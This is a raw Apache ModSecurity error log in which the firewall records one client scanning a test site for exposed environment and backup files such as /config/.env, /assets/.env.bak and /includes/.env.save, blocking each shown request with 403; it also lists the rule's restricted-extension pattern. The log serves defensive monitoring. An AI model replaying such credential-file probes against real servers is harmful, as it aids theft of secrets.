[Sun Nov 16 05:33:58.362820 2025] [:error] [pid 103446] [client 18.119.101.32:50300] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aRlUNk-c4YqyOTFJOSeIQwAAAAk"]
[Sun Nov 16 05:33:58.362980 2025] [:error] [pid 103446] [client 18.119.101.32:50300] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.bak"] [unique_id "aRlUNk-c4YqyOTFJOSeIQwAAAAk"]
[Sun Nov 16 05:33:58.392651 2025] [authz_core:error] [pid 103400] [client 18.119.101.32:50308] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.old
[Sun Nov 16 05:33:58.547033 2025] [:error] [pid 103445] [client 18.119.101.32:50296] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aRlUNkC1MmZNgKkPK0wSYAAAAAg"]
[Sun Nov 16 05:33:58.547193 2025] [:error] [pid 103445] [client 18.119.101.32:50296] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aRlUNkC1MmZNgKkPK0wSYAAAAAg"]
[Sun Nov 16 05:33:58.547393 2025] [:error] [pid 103445] [client 18.119.101.32:50296] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aRlUNkC1MmZNgKkPK0wSYAAAAAg"]
[Sun Nov 16 05:33:58.547555 2025] [:error] [pid 103445] [client 18.119.101.32:50296] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.old"] [unique_id "aRlUNkC1MmZNgKkPK0wSYAAAAAg"]
[Sun Nov 16 05:33:58.618306 2025] [:error] [pid 103398] [client 18.119.101.32:50398] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aRlUNrczEoTwe_Jf335FSgAAAAA"]
[Sun Nov 16 05:33:58.618553 2025] [:error] [pid 103398] [client 18.119.101.32:50398] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aRlUNrczEoTwe_Jf335FSgAAAAA"]
[Sun Nov 16 05:33:58.618720 2025] [:error] [pid 103398] [client 18.119.101.32:50398] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env.save"] [unique_id "aRlUNrczEoTwe_Jf335FSgAAAAA"]
[Sun Nov 16 05:33:58.631115 2025] [:error] [pid 103448] [client 18.119.101.32:50374] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aRlUNgbV20V557lJgw5ykwAAAAs"]
[Sun Nov 16 05:33:58.631294 2025] [:error] [pid 103448] [client 18.119.101.32:50374] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aRlUNgbV20V557lJgw5ykwAAAAs"]
[Sun Nov 16 05:33:58.631439 2025] [:error] [pid 103448] [client 18.119.101.32:50374] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config/.env"] [unique_id "aRlUNgbV20V557lJgw5ykwAAAAs"]
[Sun Nov 16 05:33:58.632454 2025] [:error] [pid 103444] [client 18.119.101.32:50412] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aRlUNkjUGFX9l3ZphyhAnQAAAAc"]
[Sun Nov 16 05:33:58.632598 2025] [:error] [pid 103444] [client 18.119.101.32:50412] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aRlUNkjUGFX9l3ZphyhAnQAAAAc"]
[Sun Nov 16 05:33:58.632729 2025] [:error] [pid 103444] [client 18.119.101.32:50412] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "aRlUNkjUGFX9l3ZphyhAnQAAAAc"]
[Sun Nov 16 05:34:10.560578 2025] [:error] [pid 105703] [client 18.119.101.32:53978] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aRlUQvg2Gh-L-AjQsRfGwgAAAAU"]
[Sun Nov 16 05:34:10.560792 2025] [:error] [pid 105703] [client 18.119.101.32:53978] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aRlUQvg2Gh-L-AjQsRfGwgAAAAU"]
[Sun Nov 16 05:34:10.560946 2025] [:error] [pid 105703] [client 18.119.101.32:53978] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env"] [unique_id "aRlUQvg2Gh-L-AjQsRfGwgAAAAU"]
[Sun Nov 16 05:34:10.612520 2025] [:error] [pid 103447] [client 18.119.101.32:53992] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aRlUQlTEmL7xLg9Yon5F3AAAAAo"]
[Sun Nov 16 05:34:10.612683 2025] [:error] [pid 103447] [client 18.119.101.32:53992] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aRlUQlTEmL7xLg9Yon5F3AAAAAo"]
[Sun Nov 16 05:34:10.612896 2025] [:error] [pid 103447] [client 18.119.101.32:53992] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aRlUQlTEmL7xLg9Yon5F3AAAAAo"]
[Sun Nov 16 05:34:10.613074 2025] [:error] [pid 103447] [client 18.119.101.32:53992] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.bak"] [unique_id "aRlUQlTEmL7xLg9Yon5F3AAAAAo"]
[Sun Nov 16 05:34:10.724484 2025] [:error] [pid 103401] [client 18.119.101.32:39222] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aRlUQr5rejGDIGJeuSGFuAAAAAM"]
[Sun Nov 16 05:34:10.724642 2025] [:error] [pid 103401] [client 18.119.101.32:39222] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aRlUQr5rejGDIGJeuSGFuAAAAAM"]
[Sun Nov 16 05:34:10.724848 2025] [:error] [pid 103401] [client 18.119.101.32:39222] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aRlUQr5rejGDIGJeuSGFuAAAAAM"]
[Sun Nov 16 05:34:10.725022 2025] [:error] [pid 103401] [client 18.119.101.32:39222] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.old"] [unique_id "aRlUQr5rejGDIGJeuSGFuAAAAAM"]
[Sun Nov 16 05:34:10.745975 2025] [:error] [pid 103446] [client 18.119.101.32:39232] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aRlUQk-c4YqyOTFJOSeIRAAAAAk"]
[Sun Nov 16 05:34:10.746171 2025] [:error] [pid 103446] [client 18.119.101.32:39232] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aRlUQk-c4YqyOTFJOSeIRAAAAAk"]
[Sun Nov 16 05:34:10.746328 2025] [:error] [pid 103446] [client 18.119.101.32:39232] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.env.save"] [unique_id "aRlUQk-c4YqyOTFJOSeIRAAAAAk"]
[Sun Nov 16 05:34:10.755638 2025] [:error] [pid 105706] [client 18.119.101.32:39206] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aRlUQvgkUVuXhjEnxphnNwAAAAQ"]
[Sun Nov 16 05:34:10.755868 2025] [:error] [pid 105706] [client 18.119.101.32:39206] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aRlUQvgkUVuXhjEnxphnNwAAAAQ"]
[Sun Nov 16 05:34:10.756026 2025] [:error] [pid 105706] [client 18.119.101.32:39206] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aRlUQvgkUVuXhjEnxphnNwAAAAQ"]
[Sun Nov 16 05:34:10.772660 2025] [:error] [pid 103400] [client 18.119.101.32:39238] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aRlUQjNSkdMAuXBkjk7iHgAAAAI"]
[Sun Nov 16 05:34:10.772831 2025] [:error] [pid 103400] [client 18.119.101.32:39238] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aRlUQjNSkdMAuXBkjk7iHgAAAAI"]
[Sun Nov 16 05:34:10.772979 2025] [:error] [pid 103400] [client 18.119.101.32:39238] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.save"] [unique_id "aRlUQjNSkdMAuXBkjk7iHgAAAAI"]
[Sun Nov 16 05:34:11.004564 2025] [:error] [pid 103445] [client 18.119.101.32:39264] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env.bak"] [unique_id "aRlUQ0C1MmZNgKkPK0wSYQAAAAg"]
